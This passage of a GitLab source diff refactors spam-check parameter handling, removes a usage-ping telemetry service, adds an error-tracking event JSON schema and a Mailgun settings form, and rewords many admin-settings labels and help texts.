# at the moment, this means "ask for reCAPTCHA"
- create_spam_log(api)
+ create_spam_log
break if target.allow_possible_spam?
@@ -122,12 +76,12 @@ module Spam
# TODO: remove `unless target.allow_possible_spam?` once this flag has been passed to `SpamVerdictService`
# https://gitlab.com/gitlab-org/gitlab/-/issues/214739
target.spam! unless target.allow_possible_spam?
- create_spam_log(api)
+ create_spam_log
when BLOCK_USER
# TODO: improve BLOCK_USER handling, non-existent until now
# https://gitlab.com/gitlab-org/gitlab/-/issues/329666
target.spam! unless target.allow_possible_spam?
- create_spam_log(api)
+ create_spam_log
when ALLOW
target.clear_spam_flags!
when NOOP
@@ -137,16 +91,21 @@ module Spam
end
end
- def create_spam_log(api)
+ def create_spam_log
@spam_log = SpamLog.create!(
{
user_id: target.author_id,
title: target.spam_title,
description: target.spam_description,
- source_ip: options[:ip_address],
- user_agent: options[:user_agent],
+ source_ip: spam_params.ip_address,
+ user_agent: spam_params.user_agent,
noteable_type: noteable_type,
- via_api: api
+ # Now, all requests are via the API, so hardcode it to true to simplify the logic and API
+ # of this service. See https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/2266
+ # for original introduction of `via_api` field.
+ # See discussion here about possibly deprecating this field:
+ # https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/2266#note_542527450
+ via_api: true
}
)
@@ -159,9 +118,14 @@ module Spam
target_type: noteable_type
}
+ options = {
+ ip_address: spam_params.ip_address,
+ user_agent: spam_params.user_agent,
+ referer: spam_params.referer
+ }
+
SpamVerdictService.new(target: target,
user: user,
- request: request,
options: options,
context: context)
end
diff --git a/app/services/spam/spam_params.rb b/app/services/spam/spam_params.rb
index 3420748822d..ccc17a42f01 100644
--- a/app/services/spam/spam_params.rb
+++ b/app/services/spam/spam_params.rb
@@ -3,30 +3,54 @@
module Spam
##
# This class is a Parameter Object (https://refactoring.com/catalog/introduceParameterObject.html)
- # which acts as an container abstraction for multiple parameter values related to spam and
- # captcha processing for a request.
+ # which acts as an container abstraction for multiple values related to spam and
+ # captcha processing for a provided HTTP request object.
+ #
+ # It is used to encapsulate these values and allow them to be passed from the Controller/GraphQL
+ # layers down into to the Service layer, without needing to pass the entire request and therefore
+ # unnecessarily couple the Service layer to the HTTP request.
#
# Values contained are:
#
- # api: A boolean flag indicating if the request was submitted via the REST or GraphQL API
# captcha_response: The response resulting from the user solving a captcha. Currently it is
# a scalar reCAPTCHA response string, but it can be expanded to an object in the future to
- # support other captcha implementations such as FriendlyCaptcha.
- # spam_log_id: The id of a SpamLog record.
+ # support other captcha implementations such as FriendlyCaptcha. Obtained from
+ # request.headers['X-GitLab-Captcha-Response']
+ # spam_log_id: The id of a SpamLog record. Obtained from request.headers['X-GitLab-Spam-Log-Id']
+ # ip_address = The remote IP. Obtained from request.env['action_dispatch.remote_ip']
+ # user_agent = The user agent. Obtained from request.env['HTTP_USER_AGENT']
+ # referer = The HTTP referer. Obtained from request.env['HTTP_REFERER']
+ #
+ # NOTE: The presence of these values in the request is not currently enforced. If they are missing,
+ # then the spam check may fail, or the SpamLog or UserAgentDetail may have missing fields.
class SpamParams
- attr_reader :api, :captcha_response, :spam_log_id
+ def self.new_from_request(request:)
+ self.new(
+ captcha_response: request.headers['X-GitLab-Captcha-Response'],
+ spam_log_id: request.headers['X-GitLab-Spam-Log-Id'],
+ ip_address: request.env['action_dispatch.remote_ip'].to_s,
+ user_agent: request.env['HTTP_USER_AGENT'],
+ referer: request.env['HTTP_REFERER']
+ )
+ end
+
+ attr_reader :captcha_response, :spam_log_id, :ip_address, :user_agent, :referer
- def initialize(api:, captcha_response:, spam_log_id:)
- @api = api.present?
+ def initialize(captcha_response:, spam_log_id:, ip_address:, user_agent:, referer:)
@captcha_response = captcha_response
@spam_log_id = spam_log_id
+ @ip_address = ip_address
+ @user_agent = user_agent
+ @referer = referer
end
def ==(other)
other.class <= self.class &&
- other.api == api &&
other.captcha_response == captcha_response &&
- other.spam_log_id == spam_log_id
+ other.spam_log_id == spam_log_id &&
+ other.ip_address == ip_address &&
+ other.user_agent == user_agent &&
+ other.referer == referer
end
end
end
diff --git a/app/services/spam/spam_verdict_service.rb b/app/services/spam/spam_verdict_service.rb
index 7155017b73f..8d995631db6 100644
--- a/app/services/spam/spam_verdict_service.rb
+++ b/app/services/spam/spam_verdict_service.rb
@@ -5,9 +5,8 @@ module Spam
include AkismetMethods
include SpamConstants
- def initialize(user:, target:, request:, options:, context: {})
+ def initialize(user:, target:, options:, context: {})
@target = target
- @request = request
@user = user
@options = options
@context = context
@@ -59,7 +58,7 @@ module Spam
private
- attr_reader :user, :target, :request, :options, :context
+ attr_reader :user, :target, :options, :context
def akismet_verdict
if akismet.spam?
diff --git a/app/services/submit_usage_ping_service.rb b/app/services/submit_usage_ping_service.rb
deleted file mode 100644
index 4942dd0e913..00000000000
--- a/app/services/submit_usage_ping_service.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-# frozen_string_literal: true
-
-class SubmitUsagePingService
- PRODUCTION_URL = 'https://version.gitlab.com/usage_data'
- STAGING_URL = 'https://gitlab-services-version-gitlab-com-staging.gs-staging.gitlab.org/usage_data'
-
- METRICS = %w[leader_issues instance_issues percentage_issues leader_notes instance_notes
- percentage_notes leader_milestones instance_milestones percentage_milestones
- leader_boards instance_boards percentage_boards leader_merge_requests
- instance_merge_requests percentage_merge_requests leader_ci_pipelines
- instance_ci_pipelines percentage_ci_pipelines leader_environments instance_environments
- percentage_environments leader_deployments instance_deployments percentage_deployments
- leader_projects_prometheus_active instance_projects_prometheus_active
- percentage_projects_prometheus_active leader_service_desk_issues instance_service_desk_issues
- percentage_service_desk_issues].freeze
-
- SubmissionError = Class.new(StandardError)
-
- def execute
- return unless Gitlab::CurrentSettings.usage_ping_enabled?
- return if User.single_user&.requires_usage_stats_consent?
-
- usage_data = Gitlab::UsageData.data(force_refresh: true)
-
- raise SubmissionError, 'Usage data is blank' if usage_data.blank?
-
- raw_usage_data = save_raw_usage_data(usage_data)
-
- response = Gitlab::HTTP.post(
- url,
- body: usage_data.to_json,
- allow_local_requests: true,
- headers: { 'Content-type' => 'application/json' }
- )
-
- raise SubmissionError, "Unsuccessful response code: #{response.code}" unless response.success?
-
- version_usage_data_id = response.dig('conv_index', 'usage_data_id') || response.dig('dev_ops_score', 'usage_data_id')
-
- unless version_usage_data_id.is_a?(Integer) && version_usage_data_id > 0
- raise SubmissionError, "Invalid usage_data_id in response: #{version_usage_data_id}"
- end
-
- raw_usage_data.update_version_metadata!(usage_data_id: version_usage_data_id)
-
- store_metrics(response)
- end
-
- private
-
- def save_raw_usage_data(usage_data)
- RawUsageData.safe_find_or_create_by(recorded_at: usage_data[:recorded_at]) do |record|
- record.payload = usage_data
- end
- end
-
- def store_metrics(response)
- metrics = response['conv_index'] || response['dev_ops_score'] # leaving dev_ops_score here, as the response data comes from the gitlab-version-com
-
- return unless metrics.present?
-
- DevOpsReport::Metric.create!(
- metrics.slice(*METRICS)
- )
- end
-
- # See https://gitlab.com/gitlab-org/gitlab/-/issues/233615 for details
- def url
- if Rails.env.production?
- PRODUCTION_URL
- else
- STAGING_URL
- end
- end
-end
-
-SubmitUsagePingService.prepend_mod
diff --git a/app/services/user_agent_detail_service.rb b/app/services/user_agent_detail_service.rb
index 9302c86d3e6..01a98a15869 100644
--- a/app/services/user_agent_detail_service.rb
+++ b/app/services/user_agent_detail_service.rb
@@ -1,16 +1,21 @@
# frozen_string_literal: true
class UserAgentDetailService
- attr_accessor :spammable, :request
-
- def initialize(spammable, request)
+ def initialize(spammable:, spam_params:)
@spammable = spammable
- @request = request
+ @spam_params = spam_params
end
def create
- return unless request
+ unless spam_params&.user_agent && spam_params&.ip_address
+ messasge = 'Skipped UserAgentDetail creation because necessary spam_params were not provided'
+ return ServiceResponse.success(message: messasge)
+ end
- spammable.create_user_agent_detail(user_agent: request.env['HTTP_USER_AGENT'], ip_address: request.env['action_dispatch.remote_ip'].to_s)
+ spammable.create_user_agent_detail(user_agent: spam_params.user_agent, ip_address: spam_params.ip_address)
end
+
+ private
+
+ attr_reader :spammable, :spam_params
end
diff --git a/app/services/user_project_access_changed_service.rb b/app/services/user_project_access_changed_service.rb
index f52502e0379..5f48f410bf7 100644
--- a/app/services/user_project_access_changed_service.rb
+++ b/app/services/user_project_access_changed_service.rb
@@ -20,8 +20,13 @@ class UserProjectAccessChangedService
if priority == HIGH_PRIORITY
AuthorizedProjectsWorker.bulk_perform_async(bulk_args) # rubocop:disable Scalability/BulkPerformWithContext
else
- AuthorizedProjectUpdate::UserRefreshFromReplicaWorker.bulk_perform_in( # rubocop:disable Scalability/BulkPerformWithContext
- DELAY, bulk_args, batch_size: 100, batch_delay: 30.seconds)
+ with_related_class_context do
+ # We wrap the execution in `with_related_class_context`so as to obtain
+ # the location of the original caller
+ # in jobs enqueued from within `AuthorizedProjectUpdate::UserRefreshFromReplicaWorker`
+ AuthorizedProjectUpdate::UserRefreshFromReplicaWorker.bulk_perform_in( # rubocop:disable Scalability/BulkPerformWithContext
+ DELAY, bulk_args, batch_size: 100, batch_delay: 30.seconds)
+ end
end
end
@@ -29,4 +34,11 @@ class UserProjectAccessChangedService
result
end
+
+ private
+
+ def with_related_class_context(&block)
+ current_caller_id = Gitlab::ApplicationContext.current_context_attribute('meta.caller_id').presence
+ Gitlab::ApplicationContext.with_context(related_class: current_caller_id, &block)
+ end
end
diff --git a/app/services/web_hook_service.rb b/app/services/web_hook_service.rb
index 1d5b38575bb..79bdf34392f 100644
--- a/app/services/web_hook_service.rb
+++ b/app/services/web_hook_service.rb
@@ -177,7 +177,6 @@ class WebHookService
end
def rate_limited?
- return false unless Feature.enabled?(:web_hooks_rate_limit, default_enabled: :yaml)
return false if rate_limit.nil?
Gitlab::ApplicationRateLimiter.throttled?(
diff --git a/app/services/wiki_pages/base_service.rb b/app/services/wiki_pages/base_service.rb
index 4ec884469eb..891e18c0acc 100644
--- a/app/services/wiki_pages/base_service.rb
+++ b/app/services/wiki_pages/base_service.rb
@@ -12,7 +12,7 @@ module WikiPages
def execute_hooks(page)
page_data = payload(page)
container.execute_hooks(page_data, :wiki_page_hooks)
- container.execute_services(page_data, :wiki_page_hooks)
+ container.execute_integrations(page_data, :wiki_page_hooks)
increment_usage
create_wiki_event(page)
end
diff --git a/app/services/wiki_pages/create_service.rb b/app/services/wiki_pages/create_service.rb
index 9702876effa..d14d94d77df 100644
--- a/app/services/wiki_pages/create_service.rb
+++ b/app/services/wiki_pages/create_service.rb
@@ -6,11 +6,12 @@ module WikiPages
wiki = Wiki.for_container(container, current_user)
page = WikiPage.new(wiki)
- if page.create(@params)
- execute_hooks(page)
+ wiki.capture_git_error(event_action) do
+ page.create(@params)
end
if page.persisted?
+ execute_hooks(page)
ServiceResponse.success(payload: { page: page })
else
ServiceResponse.error(message: _('Could not create wiki page'), payload: { page: page })
diff --git a/app/services/wiki_pages/update_service.rb b/app/services/wiki_pages/update_service.rb
index 88275f8c417..12b2cf87d5d 100644
--- a/app/services/wiki_pages/update_service.rb
+++ b/app/services/wiki_pages/update_service.rb
@@ -8,7 +8,7 @@ module WikiPages
# this class is not thread safe!
@old_slug = page.slug
- if page.update(@params)
+ if page.wiki.capture_git_error(event_action) { page.update(@params) }
execute_hooks(page)
ServiceResponse.success(payload: { page: page })
else
diff --git a/app/services/wikis/create_attachment_service.rb b/app/services/wikis/create_attachment_service.rb
index 82179459345..88a593cce48 100644
--- a/app/services/wikis/create_attachment_service.rb
+++ b/app/services/wikis/create_attachment_service.rb
@@ -21,7 +21,11 @@ module Wikis
end
def create_commit!
+ wiki.create_wiki_repository
+
commit_result(create_transformed_commit(@file_content))
+ rescue Wiki::CouldNotCreateWikiError
+ raise_error("Error creating the wiki repository")
end
private
diff --git a/app/uploaders/dependency_proxy/file_uploader.rb b/app/uploaders/dependency_proxy/file_uploader.rb
index c46539bafaa..5154f180454 100644
--- a/app/uploaders/dependency_proxy/file_uploader.rb
+++ b/app/uploaders/dependency_proxy/file_uploader.rb
@@ -24,7 +24,7 @@ class DependencyProxy::FileUploader < GitlabUploader
# so we must store the custom content type in object storage.
# This does not apply to DependencyProxy::Blob uploads.
def set_content_type(file)
- return unless model.class == DependencyProxy::Manifest
+ return unless model.instance_of?(DependencyProxy::Manifest)
file.content_type = model.content_type
end
diff --git a/app/validators/json_schemas/build_metadata_secrets.json b/app/validators/json_schemas/build_metadata_secrets.json
index 799e7ab1642..3c8035d0dcf 100644
--- a/app/validators/json_schemas/build_metadata_secrets.json
+++ b/app/validators/json_schemas/build_metadata_secrets.json
@@ -23,7 +23,8 @@
}
},
"additionalProperties": false
- }
+ },
+ "^file$": { "type": "boolean" }
},
"additionalProperties": false
}
diff --git a/app/validators/json_schemas/error_tracking_event_payload.json b/app/validators/json_schemas/error_tracking_event_payload.json
new file mode 100644
index 00000000000..19abde7de08
--- /dev/null
+++ b/app/validators/json_schemas/error_tracking_event_payload.json
@@ -0,0 +1,231 @@
+{
+ "description": "Error tracking event payload",
+ "type": "object",
+ "required": [],
+ "modules": {
+ "type": "object"
+ },
+ "properties": {
+ "event_id": {
+ "type": "string"
+ },
+ "level": {
+ "type": "string"
+ },
+ "timestamp": {
+ "type": "string"
+ },
+ "release": {
+ "type": "string"
+ },
+ "environment": {
+ "type": "string"
+ },
+ "server_name": {
+ "type": "string"
+ },
+ "message": {
+ "type": "string"
+ },
+ "user": {
+ "type": "object",
+ "required": [],
+ "properties": {}
+ },
+ "tags": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "request_id": {
+ "type": "string"
+ }
+ }
+ },
+ "contexts": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "os": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "name": {
+ "type": "string"
+ },
+ "version": {
+ "type": "string"
+ },
+ "build": {
+ "type": "string"
+ },
+ "kernel_version": {
+ "type": "string"
+ }
+ }
+ },
+ "runtime": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "name": {
+ "type": "string"
+ },
+ "version": {
+ "type": "string"
+ }
+ }
+ },
+ "trace": {
+ "type": "object"
+ }
+ }
+ },
+ "fingerprint": {
+ "type": "array",
+ "items": {
+ "type": "string"
+ }
+ },
+ "breadcrumbs": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "values": {
+ "type": "array",
+ "items": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "category": {
+ "type": "string"
+ },
+ "data": {
+ "type": "object"
+ },
+ "message": {
+ "type": "string"
+ },
+ "timestamp": {
+ "type": "number"
+ }
+ }
+ }
+ }
+ }
+ },
+ "transaction": {
+ "type": "string"
+ },
+ "platform": {
+ "type": "string"
+ },
+ "sdk": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "name": {
+ "type": "string"
+ },
+ "version": {
+ "type": "string"
+ }
+ }
+ },
+ "request": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "url": {
+ "type": "string"
+ },
+ "method": {
+ "type": "string"
+ },
+ "headers": {
+ "type": "object"
+ },
+ "env": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "SERVER_NAME": {
+ "type": "string"
+ },
+ "SERVER_PORT": {
+ "type": "string"
+ }
+ }
+ }
+ }
+ },
+ "exception": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "values": {
+ "type": "array",
+ "items": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "type": {
+ "type": "string"
+ },
+ "value": {
+ "type": "string"
+ },
+ "module": {
+ "type": "string"
+ },
+ "thread_id": {
+ "type": "number"
+ },
+ "stacktrace": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "frames": {
+ "type": "array",
+ "items": {
+ "type": "object",
+ "required": [],
+ "properties": {
+ "project_root": {
+ "type": "string"
+ },
+ "abs_path": {
+ "type": "string"
+ },
+ "function": {
+ "type": "string"
+ },
+ "lineno": {
+ "type": "number"
+ },
+ "in_app": {
+ "type": "boolean"
+ },
+ "filename": {
+ "type": "string"
+ },
+ "pre_context": {
+ "type": "array"
+ },
+ "context_line": {
+ "type": "string"
+ },
+ "post_context": {
+ "type": "array"
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/views/admin/application_settings/_ci_cd.html.haml b/app/views/admin/application_settings/_ci_cd.html.haml
index 5ae45d5a9da..fb530e18b03 100644
--- a/app/views/admin/application_settings/_ci_cd.html.haml
+++ b/app/views/admin/application_settings/_ci_cd.html.haml
@@ -64,6 +64,6 @@
= f.text_field :default_ci_config_path, class: 'form-control gl-form-input', placeholder: '.gitlab-ci.yml'
%p.form-text.text-muted
= _("The default CI/CD configuration file and path for new projects.").html_safe
- = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'custom-cicd-configuration-file'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'specify-a-custom-cicd-configuration-file'), target: '_blank'
= f.submit _('Save changes'), class: "gl-button btn btn-confirm"
diff --git a/app/views/admin/application_settings/_gitaly.html.haml b/app/views/admin/application_settings/_gitaly.html.haml
index b28a53d8bf6..ade6dac606a 100644
--- a/app/views/admin/application_settings/_gitaly.html.haml
+++ b/app/views/admin/application_settings/_gitaly.html.haml
@@ -3,25 +3,19 @@
%fieldset
.form-group
- = f.label :gitaly_timeout_default, _('Default Timeout Period'), class: 'label-bold'
+ = f.label :gitaly_timeout_default, _('Default timeout'), class: 'label-bold'
= f.number_field :gitaly_timeout_default, class: 'form-control gl-form-input'
.form-text.text-muted
- Timeout for Gitaly calls from the GitLab application (in seconds). This timeout is not enforced
- for git fetch/push operations or Sidekiq jobs.
- This timeout should be less than the worker timeout. If a Gitaly call timeout would exceed the
- worker timeout, the remaining time from the worker timeout would be used to avoid having to terminate
- the worker.
+ = _('Timeout for most Gitaly operations (in seconds).')
.form-group
- = f.label :gitaly_timeout_fast, _('Fast Timeout Period'), class: 'label-bold'
+ = f.label :gitaly_timeout_fast, _('Fast timeout'), class: 'label-bold'
= f.number_field :gitaly_timeout_fast, class: 'form-control gl-form-input'
.form-text.text-muted
- Fast operation timeout (in seconds). Some Gitaly operations are expected to be fast.
- If they exceed this threshold, there may be a problem with a storage shard and 'failing fast'
- can help maintain the stability of the GitLab instance.
+ = _('Timeout for the fastest Gitaly operations (in seconds).')
.form-group
- = f.label :gitaly_timeout_medium, _('Medium Timeout Period'), class: 'label-bold'
+ = f.label :gitaly_timeout_medium, _('Medium timeout'), class: 'label-bold'
= f.number_field :gitaly_timeout_medium, class: 'form-control gl-form-input'
.form-text.text-muted
- Medium operation timeout (in seconds). This should be a value between the Fast and the Default timeout.
+ = _('Timeout for moderately fast Gitaly operations (in seconds). Provide a value between Default timeout and Fast timeout.')
= f.submit _('Save changes'), class: "gl-button btn btn-confirm"
diff --git a/app/views/admin/application_settings/_help_page.html.haml b/app/views/admin/application_settings/_help_page.html.haml
index e7816f5a1c0..b71e8ca831e 100644
--- a/app/views/admin/application_settings/_help_page.html.haml
+++ b/app/views/admin/application_settings/_help_page.html.haml
@@ -5,18 +5,18 @@
= render_if_exists 'admin/application_settings/help_text_setting', form: f
.form-group
- = f.label :help_page_text, class: 'label-bold'
+ = f.label :help_page_text, _('Additional text to show on the Help page'), class: 'label-bold'
= f.text_area :help_page_text, class: 'form-control gl-form-input', rows: 4
.form-text.text-muted= _('Markdown enabled')
.form-group
.form-check
= f.check_box :help_page_hide_commercial_content, class: 'form-check-input'
= f.label :help_page_hide_commercial_content, class: 'form-check-label' do
- = _('Hide marketing-related entries from help')
+ = _('Hide marketing-related entries from the Help page.')
.form-group
= f.label :help_page_support_url, _('Support page URL'), class: 'label-bold'
= f.text_field :help_page_support_url, class: 'form-control gl-form-input', placeholder: 'http://company.example.com/getting-help', :'aria-describedby' => 'support_help_block'
- %span.form-text.text-muted#support_help_block= _('Alternate support URL for help page and help dropdown')
+ %span.form-text.text-muted#support_help_block= _('Alternate support URL for Help page and Help dropdown')
- if show_documentation_base_url_field?
.form-group
diff --git a/app/views/admin/application_settings/_initial_branch_name.html.haml b/app/views/admin/application_settings/_initial_branch_name.html.haml
index f881808e51f..34c40892467 100644
--- a/app/views/admin/application_settings/_initial_branch_name.html.haml
+++ b/app/views/admin/application_settings/_initial_branch_name.html.haml
@@ -8,6 +8,6 @@
= f.label :default_branch_name, _('Default initial branch name'), class: 'label-light'
= f.text_field :default_branch_name, placeholder: Gitlab::DefaultBranch.value, class: 'form-control gl-form-input'
%span.form-text.text-muted
- = (_("Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used.") % { branch_name_default: fallback_branch_name } ).html_safe
+ = (s_("AdminSettings|If not specified at the group or instance level, the default is %{default_initial_branch_name}. Does not affect existing repositories.") % { default_initial_branch_name: fallback_branch_name } ).html_safe
= f.submit _('Save changes'), class: 'gl-button btn-confirm'
diff --git a/app/views/admin/application_settings/_localization.html.haml b/app/views/admin/application_settings/_localization.html.haml
index fdb91937ec3..5c8f3379fce 100644
--- a/app/views/admin/application_settings/_localization.html.haml
+++ b/app/views/admin/application_settings/_localization.html.haml
@@ -7,6 +7,7 @@
= f.select :first_day_of_week, first_day_of_week_choices, {}, class: 'form-control'
.form-text.text-muted
= _('Default first day of the week in calendars and date pickers.')
+ = link_to _('Learn more.'), help_page_path('user/admin_area/settings/index.md', anchor: 'default-first-day-of-the-week'), target: '_blank'
.form-group
= f.label :time_tracking, _('Time tracking'), class: 'label-bold'
@@ -14,5 +15,9 @@
= f.check_box :time_tracking_limit_to_hours, class: 'form-check-input'
= f.label :time_tracking_limit_to_hours, class: 'form-check-label' do
= _('Limit display of time tracking units to hours.')
+ .form-text.text-muted
+ = _('Display time tracking in issues in total hours only.')
+ = link_to _('What is time tracking?'), help_page_path('user/project/time_tracking.md'), target: '_blank'
= f.submit _('Save changes'), class: "gl-button btn btn-confirm"
+
diff --git a/app/views/admin/application_settings/_mailgun.html.haml b/app/views/admin/application_settings/_mailgun.html.haml
new file mode 100644
index 00000000000..6204f7df5dc
--- /dev/null
+++ b/app/views/admin/application_settings/_mailgun.html.haml
@@ -0,0 +1,25 @@
+- return unless Feature.enabled?(:mailgun_events_receiver)
+
+- expanded = integration_expanded?('mailgun_')
+%section.settings.as-mailgun.no-animate#js-mailgun-settings{ class: ('expanded' if expanded) }
+ .settings-header
+ %h4
+ = _('Mailgun')
+ %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
+ = expanded ? _('Collapse') : _('Expand')
+ %p
+ = _('Configure the %{link} integration.').html_safe % { link: link_to(_('Mailgun events'), 'https://documentation.mailgun.com/en/latest/user_manual.html#webhooks', target: '_blank') }
+ .settings-content
+ = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-mailgun-settings'), html: { class: 'fieldset-form', id: 'mailgun-settings' } do |f|
+ = form_errors(@application_setting) if expanded
+
+ %fieldset
+ .form-group
+ .form-check
+ = f.check_box :mailgun_events_enabled, class: 'form-check-input'
+ = f.label :mailgun_events_enabled, _('Enable Mailgun event receiver'), class: 'form-check-label'
+ .form-group
+ = f.label :mailgun_signing_key, _('Mailgun HTTP webhook signing key'), class: 'label-light'
+ = f.text_field :mailgun_signing_key, class: 'form-control gl-form-input'
+
+ = f.submit _('Save changes'), class: 'gl-button btn btn-confirm'
diff --git a/app/views/admin/application_settings/_repository_check.html.haml b/app/views/admin/application_settings/_repository_check.html.haml
index 31576d54a04..6df1be9f6cb 100644
--- a/app/views/admin/application_settings/_repository_check.html.haml
+++ b/app/views/admin/application_settings/_repository_check.html.haml
@@ -8,15 +8,14 @@
.form-check
= f.check_box :repository_checks_enabled, class: 'form-check-input'
= f.label :repository_checks_enabled, class: 'form-check-label' do
- = _("Enable Repository Checks")
+ = _("Enable repository checks")
.form-text.text-muted
- - link_to_git_fsck = link_to('git fsck', 'https://git-scm.com/docs/git-fsck', target: '_blank')
- = _("GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues.").html_safe % { link_to_git_fsck: link_to_git_fsck }
+ = html_escape(s_('Run %{code_start}git fsck%{code_end} periodically in all project and wiki repositories to look for silent disk corruption issues.')) % { code_start: '<code>'.html_safe, code_end: '</code>'.html_safe }
.form-group
.form-text.text-muted
- = _("If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database.")
+ = _("If you get a lot of false alarms from repository checks, you can clear all repository check information from the database.")
- clear_repository_checks_link = _('Clear all repository checks')
- - clear_repository_checks_message = _('This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?')
+ - clear_repository_checks_message = _('This clears repository check states for all projects in the database and cannot be undone. Are you sure?')
= link_to clear_repository_checks_link, clear_repository_check_states_admin_application_settings_path, data: { confirm: clear_repository_checks_message }, method: :put, class: "gl-button btn btn-sm btn-danger gl-mt-3"
.sub-section
@@ -25,29 +24,31 @@
.form-check
= f.check_box :housekeeping_enabled, class: 'form-check-input'
= f.label :housekeeping_enabled, class: 'form-check-label' do
- = _("Enable automatic repository housekeeping (git repack, git gc)")
+ = _("Enable automatic repository housekeeping")
.form-text.text-muted
- = _("If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled.")
+ = _("Leaving this setting enabled is recommended.")
+ = link_to s_('Learn more.'), help_page_path('administration/housekeeping.md', anchor: 'housekeeping-options'), target: '_blank', rel: 'noopener noreferrer'
.form-check
= f.check_box :housekeeping_bitmaps_enabled, class: 'form-check-input'
= f.label :housekeeping_bitmaps_enabled, class: 'form-check-label' do
= _("Enable Git pack file bitmap creation")
.form-text.text-muted
- = _("Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance.")
+ = _("Improves Git cloning performance.")
+ = link_to s_('Learn more.'), help_page_path('administration/housekeeping.md', anchor: 'housekeeping-options'), target: '_blank', rel: 'noopener noreferrer'
.form-group
= f.label :housekeeping_incremental_repack_period, 'Incremental repack period', class: 'label-bold'
= f.number_field :housekeeping_incremental_repack_period, class: 'form-control gl-form-input'
.form-text.text-muted
- = _("Number of Git pushes after which an incremental 'git repack' is run.")
+ = html_escape(s_('Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run.')) % { code_start: '<code>'.html_safe, code_end: '</code>'.html_safe }
.form-group
= f.label :housekeeping_full_repack_period, 'Full repack period', class: 'label-bold'
= f.number_field :housekeeping_full_repack_period, class: 'form-control gl-form-input'
.form-text.text-muted
- = _("Number of Git pushes after which a full 'git repack' is run.")
+ = html_escape(s_('Number of Git pushes after which a full %{code_start}git repack%{code_end} is run.')) % { code_start: '<code>'.html_safe, code_end: '</code>'.html_safe }
.form-group
= f.label :housekeeping_gc_period, _('Git GC period'), class: 'label-bold'
= f.number_field :housekeeping_gc_period, class: 'form-control gl-form-input'
.form-text.text-muted
- = _("Number of Git pushes after which 'git gc' is run.")
+ = html_escape(s_('Number of Git pushes after which %{code_start}git gc%{code_end} is run.')) % { code_start: '<code>'.html_safe, code_end: '</code>'.html_safe }
= f.submit _('Save changes'), class: "gl-button btn btn-confirm"
diff --git a/app/views/admin/application_settings/_repository_mirrors_form.html.haml b/app/views/admin/application_settings/_repository_mirrors_form.html.haml
index a0076a2f75d..0c9b04c02d1 100644
--- a/app/views/admin/application_settings/_repository_mirrors_form.html.haml
+++ b/app/views/admin/application_settings/_repository_mirrors_form.html.haml
@@ -3,14 +3,13 @@
%fieldset
.form-group
- = f.label :mirror_available, _('Enable mirror configuration'), class: 'label-bold'
+ = f.label :mirror_available, _('Repository mirroring configuration'), class: 'label-bold'
.form-check
= f.check_box :mirror_available, class: 'form-check-input'
= f.label :mirror_available, class: 'form-check-label' do
- = _('Allow repository mirroring to be configured by project maintainers')
+ = _('Allow project maintainers to configure repository mirroring')
%span.form-text.text-muted
- = _('If disabled, only admins will be able to configure repository mirroring.')
- = link_to sprite_icon('question-o'), help_page_path('user/project/repository/repository_mirroring.md')
+ = _('If disabled, only administrators can configure repository mirroring.')
= render_if_exists 'admin/application_settings/mirror_settings', form: f
diff --git a/app/views/admin/application_settings/_repository_storage.html.haml b/app/views/admin/application_settings/_repository_storage.html.haml
index ab1b2bab573..62a90e173ec 100644
--- a/app/views/admin/application_settings/_repository_storage.html.haml
+++ b/app/views/admin/application_settings/_repository_storage.html.haml
@@ -3,20 +3,24 @@
%fieldset
.sub-section
- %h4= _("Hashed repository storage paths")
+ %h4= _('Hashed repository storage paths')
.form-group
.form-check
= f.check_box :hashed_storage_enabled, class: 'form-check-input qa-hashed-storage-checkbox', disabled: @application_setting.hashed_storage_enabled?
- = f.label :hashed_storage_enabled, _("Use hashed storage"), class: 'label-bold form-check-label'
+ = f.label :hashed_storage_enabled, _('Use hashed storage'), class: 'label-bold form-check-label'
.form-text.text-muted
- = _("Use hashed storage paths for newly created and renamed repositories. Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Repository URL changes and may improve disk I/O performance. (Always enabled since 13.0)")
+ = _('Use hashed storage paths for newly created and renamed repositories. Always enabled since 13.0.')
+ = link_to s_('Learn more.'), help_page_path('administration/repository_storage_types.md', anchor: 'hashed-storage'), target: '_blank', rel: 'noopener noreferrer'
+
.sub-section
%h4= _("Storage nodes for new repositories")
.form-group
.form-text
%p.text-secondary
- = _('Enter weights for storages for new repositories.')
- = link_to sprite_icon('question-o'), help_page_path('administration/repository_storage_paths')
+ - weights_link_url = help_page_path('administration/repository_storage_paths.md', anchor: 'configure-where-new-repositories-are-stored')
+ - weights_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: weights_link_url }
+ = html_escape(s_('Enter %{weights_link_start}weights%{weights_link_end} for storages for new repositories. Configured storages appear below.')) % { weights_link_start: weights_link_start, weights_link_end: '</a>'.html_safe }
